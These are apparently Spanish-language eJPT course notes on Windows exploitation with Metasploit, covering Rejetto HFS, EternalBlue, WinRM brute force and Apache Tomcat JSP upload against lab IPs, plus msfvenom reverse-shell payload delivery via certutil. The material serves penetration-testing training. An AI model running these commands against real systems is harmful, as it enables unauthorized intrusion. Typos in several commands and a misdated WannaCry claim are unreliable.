eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Exploiting A Vulnerable HTTP File Server
  • Demo: Exploiting A Vulnerable HTTP File Server
  • Quiz: Exploiting A Vulnerable HTTP File Server
  • Exploiting Windows MS17-010 SMB Vulnerability
  • MS17-010 EternalBlue Exploit
  • Demo: Exploiting Windows MS17-010 SMB Vulnerability
  • Quiz: Exploiting Windows MS17-010 SMB Vulnerability
  • Exploiting WinRM (Windows Remote Management Protocol)
  • Exploiting WinRM
  • Demo: Exploiting WinRM (Windows Remote Management Protocol)
  • Quiz: Exploiting WinRM (Windows Remote Management Protocol)
  • Exploiting A Vulnerable Apache Tomcat Web Server
  • Exploiting Apache Tomcat
  • Demo: Exploiting A Vulnerable Apache Tomcat Web Server
  • Quiz: Exploiting A Vulnerable Apache Tomcat Web Server
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: The Metasploit Framework (MSF)
  3. Exploitation

Windows Exploitation

Exploiting A Vulnerable HTTP File Server

Un HTTP File Server (HFS) es un servidor web diseñado para compartir archivos y documentos.

Los HTTP File Server normalmente se ejecutan en el puerto TCP 80 y utilizan el protocolo HTTP para la comunicación subyacente.

Rejetto HFS es un servidor de archivos HTTP gratuito y de código abierto que se puede configurar tanto en Windows como en Linux.

Rejetto HFS V 2.3 es vulnerable a un ataque de ejecución de comandos remotos.

MSF tiene un módulo de explotación que podemos utilizar para obtener acceso al sistema de destino que aloja el HFS.

Demo: Exploiting A Vulnerable HTTP File Server

msf5 > setg RHOSTS 10.2.24.160
RHOSTS 10.2.24.160
msf5 > db_nmap -ss -sv -0 10.2.24.160
msf5 > search type:exptoit name:rejetto
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit (windows/http/rejetto_hfs_exec) > show options
msf5 exploit (windows/http/rejetto_hfs_exec) > run
meterpreter > sysinfo

# Configurar para explotar la vulnerabilidad sobre un sistema de x64
msf5 exploit (windows/http/rejetto_hfs_exec) > set payLoad windows/x64/meterpreter/reverse_tcp
msf5 exploit (windows/http/rejetto_hfs_exec) > show options
msf5 exploit (windows/http/rejetto_hfs_exec) > run


Quiz: Exploiting A Vulnerable HTTP File Server

Exploiting Windows MS17-010 SMB Vulnerability

EternalBIue (MS17-OIO/CVE-2017-0144) es el nombre que se le da a una colección de vulnerabilidades y exploits de Windows que permiten a los atacantes ejecutar código arbitrario de forma remota y obtener acceso a un sistema Windows y, en consecuencia, a la red de la que forma parte el sistema de destino.

El exploit EternalBlue fue desarrollado por la NSA (Agencia de Seguridad Nacional) para aprovechar la vulnerabilidad MS17-010 y fue filtrado al público por un grupo de piratas informáticos llamado Shadow Brokers en 2017.

El exploit EternalBlue aprovecha una vulnerabilidad en el protocolo SMBv1 de Windows que permite a los atacantes enviar paquetes especialmente diseñados que, en consecuencia, facilitan la ejecución de comandos arbitrarios.

MS17-010 EternalBlue Exploit

El exploit EternalBlue se utilizó en el ataque del ransomware WannaCry del 27 de junio de 2017 para explotar otros sistemas Windows en redes con el objetivo de propagar el ransomware a la mayor cantidad posible de sistemas.

Esta vulnerabilidad afecta a varias versiones de Windows:

  • Windows Vista

  • Windows 7

  • Windows Server 2008

  • Windows 8.1

  • Windows Server 2012

  • Windows 10

  • Windows Server 2016

Microsoft lanzó un parche para la vulnerabilidad en marzo de 2017, sin embargo, muchos usuarios y empresas aún no han aplicado el parche a sus sistemas.

El exploit EternalBlue tiene un módulo auxiliar MSF que se puede utilizar para comprobar si un sistema de destino es vulnerable al exploit y también tiene un módulo de exploit que se puede utilizar para explotar la vulnerabilidad en sistemas sin parches.

El módulo de exploit EternalBlue se puede utilizar para explotar sistemas Windows vulnerables y, en consecuencia, proporcionarnos una sesión privilegiada de meterpreter en el sistema de destino.

Demo: Exploiting Windows MS17-010 SMB Vulnerability

msf6 > workspace -a EternalBlue
msf6 > db_nmap -ss -sv -0 10.10.10.7
msf6 > services
msf6 > search type:auxiliary EternalBlue
msf6 > use auxiliary/scanner/smb/smb_ms17_Ø10
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.10.71
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

msf6 auxiliary(scanner/smb/smb ms17_010) > search type:exploit EternalBlue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

Quiz: Exploiting Windows MS17-010 SMB Vulnerability

Exploiting WinRM (Windows Remote Management Protocol)

Exploiting WinRM

Windows Remote Management (WinRM) es un protocolo de administración remota de Windows que se puede utilizar para facilitar el acceso remoto a sistemas Windows.

WinRM se utiliza normalmente de las siguientes maneras:

  • Acceder de forma remota e interactuar con hosts de Windows en una red local.

  • Acceder de forma remota y ejecutar comandos en sistemas Windows en Internet.

  • Administrar y configurar sistemas Windows de forma remota.

WinRM normalmente utiliza los puertos TCP 5985 y 5986 (HTTPS).

WinRM implementa control de acceso y seguridad para la comunicación entre sistemas a través de varias formas de autenticación.

Podemos utilizar MSF para identificar usuarios de WinRM y sus contraseñas, así como para ejecutar comandos en el sistema de destino.

También podemos utilizar un módulo de explotación MSF WinRM para obtener una sesión de meterpreter en el sistema de destino.

Demo: Exploiting WinRM (Windows Remote Management Protocol)

msf5 > workspace -a WinRM
msf5 > db_nmap -ss -sv -O -p- 10.4.22.219
msf5 > services
msf5 > search type:auxiliary winrm

msf5 > use auxiliary/scanner/winrm/winrm auth_methods
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > show options
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > setg RHOSTS
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > run
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > search winrm_login
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(scanner/winrm/winrm_login) > show options
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf5 auxiliary(scanner/winrm/winrm_login) > run

# Iniciamos sesion por cmd
msf5 auxiliary(scanner/winrm/winrm_login) > search winrm_cmd
msf5 auxiliary(scanner/winrm/winrm_login) > use auxiliary/scanner/winrm/winrm_cmd
msf5 auxiliary(scanner/winrm/winrm_cmd) > show options

msf5 auxiliary(scanner/winrm/winrm_cmd) > set USERNAME administrator
msf5 auxiliary(scanner/winrm/winrm_cmd) > set PASSWORD tinkerbell
msf5 auxiliary(scanner/winrm/winrm_cmd) > set CMD whoami
msf5 auxiliary(scanner/winrm/winrm_cmd) > run

# Sesion por script
msf5 auxiliary(scanner/winrm/winrm_cmd) > search winrm_script
use 
msf5 exploit (windows/winrm/winrm_script_exec) > set USERNAME administrator
msf5 exploit (windows/winrm/winrm_script_exec) > set PASSWORD tinkerbelt
msf5 exploit (windows/winrm/winrm_script_exec) > set FORCE_VBS true
msf5 exploit (windows/winrm/winrm_script_exec) > run 
# dentro del proceso de ejecucion el exploit intentara  escalar privilegios con el 
# usuario system

Quiz: Exploiting WinRM (Windows Remote Management Protocol)

Exploiting A Vulnerable Apache Tomcat Web Server

Apache Tomcat, también conocido como servidor Tomcat, es un servidor web servlet Java popular, gratuito y de código abierto.

Se utiliza para crear y alojar sitios web dinámicos y aplicaciones web basados ​​en la plataforma de software Java.

Apache Tomcat utiliza el protocolo HTTP para facilitar la comunicación subyacente entre el servidor y los clientes.

Apache Tomcat se ejecuta en el puerto TCP 8080 de forma predeterminada.

Exploiting Apache Tomcat

El servidor web estándar Apache HTTP se utiliza para alojar sitios web estáticos y dinámicos o aplicaciones web, generalmente desarrollados en PHP y HTML.

El servidor web Apache Tomcat se utiliza principalmente para alojar sitios web dinámicos o aplicaciones web desarrolladas en Java.

Apache Tomcat V8.5.19 e inferiores son vulnerables a una vulnerabilidad de ejecución de código remoto que podría permitir a un atacante cargar y ejecutar un payload JSP para obtener acceso remoto al servidor de destino.

Podemos utilizar un módulo de explotación MSF preconstruido para explotar esta vulnerabilidad y, en consecuencia, obtener acceso al servidor de destino.

Demo: Exploiting A Vulnerable Apache Tomcat Web Server

msf5 > workspace -a tomcat
msf5 > setg RHOSTS 10.2.20.126
msf5 > db_nmap -ss -sv -0 10.2.20.126
msf5 > services
msf5 > search type:exploit tomcat_jsp
msf5 > use exploit/multi/http/tomcat_jsp_upload_bypass
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > show options
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > info
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > show options
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > set SHELL cmd
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > run
# Con ctrl+z, ejecutaremos la sesion en segundo plano
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > sessions
# identificaremos que tenemos una sesion segun el tipo configurado (shell java/linux)
# Generamos un payload
root@attackdefense:$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.5.4 LPORT=1234 -f exe > meterpreter.exe
# Trasferir el payload al destino
root@attackdefense:$ sudo python -m SimpleHTTPServer 80
# Descargar desde el sistema destino
Windows: certutil -urlcache -f http://10.10.5.4/meterpreter.exe meterpreter.exe
# Creamos un script con el nombre "handler.rc"
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.5.4
set LPORT 1234
run
# Ejecutamos el script
msfconsole -r handler. rc
# En el objetivo ejecutamos el payload
Windows: .\meterpreter.exe

Quiz: Exploiting A Vulnerable Apache Tomcat Web Server

PreviousExploitationNextLinux Exploitation

Last updated 9 months ago